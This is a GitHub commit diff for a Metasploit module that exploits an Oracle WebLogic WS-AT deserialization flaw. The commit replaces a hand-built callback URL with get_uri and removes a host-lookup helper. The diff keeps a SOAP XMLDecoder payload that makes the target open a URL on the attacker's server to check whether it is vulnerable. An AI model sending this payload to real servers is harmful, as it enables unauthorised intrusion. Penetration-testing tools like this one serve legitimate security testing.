Skip to content

Commit 172ffdf

Browse files
authored
Use geturi instead of building it ourselves
1 parent d4056e7 commit 172ffdf

File tree

1 file changed

+1
-15
lines changed

1 file changed

+1
-15
lines changed

modules/exploits/multi/http/oracle_weblogic_wsat_deserialization_rce.rb

Lines changed: 1 addition & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -111,13 +111,12 @@ def exploit_process_builder_payload
111111
# from the target machine.
112112
#
113113
def check_process_builder_payload
114-
return_request_url = "http://#{lookup_actual_host}:#{datastore['SRVPORT']}#{datastore['URIPATH']}"
115114
xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
116115
<soapenv:Header>
117116
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
118117
<java version="1.8" class="java.beans.XMLDecoder">
119118
<object id="url" class="java.net.URL">
120-
<string>#{return_request_url.encode(xml: :text)}</string>
119+
<string>#{get_uri.encode(xml: :text)}</string>
121120
</object>
122121
<object idref="url">
123122
<void id="stream" method = "openStream" />
@@ -140,19 +139,6 @@ def on_request_uri(cli, request)
140139
@received_request = true
141140
end
142141

143-
#
144-
# Identifies our public IP address so that we can make sure to include it instead of 0.0.0.0
145-
# in our payload.
146-
#
147-
def lookup_actual_host()
148-
# Get the source address
149-
if datastore['SRVHOST'] == '0.0.0.0'
150-
Rex::Socket.source_address('50.50.50.50')
151-
else
152-
datastore['SRVHOST']
153-
end
154-
end
155-
156142
#
157143
# The exploit method connects to the remote service and sends a randomly generated string
158144
# encapsulated within a SOAP XML body. This will start an HTTP server for us to receive

0 commit comments

Comments
 (0)